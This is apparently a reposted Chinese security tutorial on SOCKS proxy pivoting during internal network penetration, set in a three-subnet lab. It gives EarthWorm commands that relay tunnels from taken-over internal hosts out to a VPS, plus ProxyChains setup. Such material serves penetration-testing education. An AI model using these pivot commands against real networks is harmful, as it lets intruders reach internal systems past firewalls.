本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安世加的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!
欢迎各位添加微信号:asj-jacky
加入安世加 交流群 和大佬们一起交流安全技术
SOCKS协议
SOCKS是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。根据OSI七层模型,SOCKS协议属于会话层协议。当防火墙后面的客户端要访问外部的服务器时,就跟SOCKS代理服务器连接。在攻防层面,可以利用SOCKS协议建立通信隧道来访问内部网络,查看內部资源。SOCKS支持多种协议,包括HTTP、FTP等,目前协议最新版本为5。
SOCKS 5在客户端和服务端双方完成授权验证之后,由客户端请求建立连接,告诉服务端要访问哪个远程服务器,包括目标地址(可以是IPV4地址、IPV6、域名)和目标端口。
本地测试SOCKS代理转发,测试环境如下,3个网段分别模拟内网、外网、核心网:
-
内网:10.1.1.0/24
-
外网:192.168.2.0/24
-
核心网:172.16.0.0/24
-
代理工具:EarthWorm、ProxyChains
内网渗透之SOCKS代理转发
0x01 正向代理
正向代理适用于目标机器拥有一个外网IP地址且可对外任意开启监听端口的情况。
在web服务器上开启8888端口的SOCKS代理,通过访问此ip的8888端口即可使用该ip主机的SOCKS代理。
web服务器开启端口8888的SOCKS代理。
./ew_for_linux64 -s ssocksd -l 8888
攻击机使用ProxyChains进行连接,将火狐加入到代理隧道。
# 修改ProxyChains配置,设置目标代理IP和端口
vim /etc/proxychains.conf
proxychains firefox
尝试访问内网机器。
0x02 反向代理
反向代理适用于目标机器没有公网IP但能访问互联网的情况。
在vps上开启SOCKS 5代理,在vps上添加一个转发隧道,将6666端口的代理请求转发到本地的8888端口。。
./ew_for_linux64 -s rcsocks -l 6666 -e 8888
0x03 二级网络环境(网络边界存在外网IP)
假设目前通过一系列的方法获得了A主机和B主机的控制权限,A主机配有两个网卡,其中一个连接外网,另外一个网卡只能连接指定的内网服务器,除此之外无法访问内网中其他资源。B主机只能访问内网资源,但无法与外网通信。网络拓扑如下所示。
在B主机上开启SOCKS代理服务。
./ew_for_linux64 -s ssocksd -l 8888
然后在A主机上开启代理转发。
./ew_for_linux64 -s lcx_tran -l 6666 -f 10.1.1.128 -g 8888
外部主机通过访问A主机的6666端口,就能使用SOCKS 5代理了。
0x04 二级网络环境(网络边界不存在外网IP)
同样的,假设获得了A主机和B主机的控制权限,A主机既没有公网IP地址,也不能访问内网资源,但可以访问互联网。B主机可以访问内网资源,但无法访问外网。网络拓扑如下所示。
首先,在VPS中添加SOCKS转接隧道,将8888端口接收到的代理请求转发到6666端口。
./ew_for_linux64 -s lcx_listen -l 8888 -e 6666
然后,在B主机中,以ssocksd
方式启动SOCKS代理,端口9999。
./ew_for_linux64 -s ssocksd -l 9999
接着,在A主机上以lcx_slave
的方式,将VPS的6666端口和B主机的9999端口连接起来。
./ew_for_linux64 -s lcx_slave -d 192.168.2.141 -e 6666 -f 10.1.1.128 -g 9999
VPS终端上显示说明连接成功。
最后,通过这个VPS的8888端口即可使用B主机上的SOCKS代理,访问内网资源。
0x05 三级网络环境
在二级网络环境(网络边界不存在外网IP)的基础之上,如图所示,B主机可以访问C主机,C主机可访问到核心网络区域。
首先在VPS上,将8888端口的代理请求转发到6666端口。
./ew_for_linux64 -s rcsocks -l 8888 -e 6666
在A主机上,连接VPS的6666端口和B主机的9999端口。
./ew_for_linux64 -s lcx_slave -d 192.168.2.141 -e 6666 -f 10.1.1.128 -g 9999
在B主机上,将9999的代理请求转发到它自己的7777端口。
./ew_for_linux64 -s lcx_listen -l 9999 -e 7777
在C主机上,开启SOCKS 5代理服务,将其反弹到B主机的7777端口上。
./ew_for_linux64 -s rssocks -d 10.1.1.128 -e 7777
连接成功。
访问C主机资源。
猎豹安全中心技术分享频道
长按下方二维码关注我们
原文始发于微信公众号(安世加):技术干货 | 内网渗透之SOCKS代理的5类基本场景
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论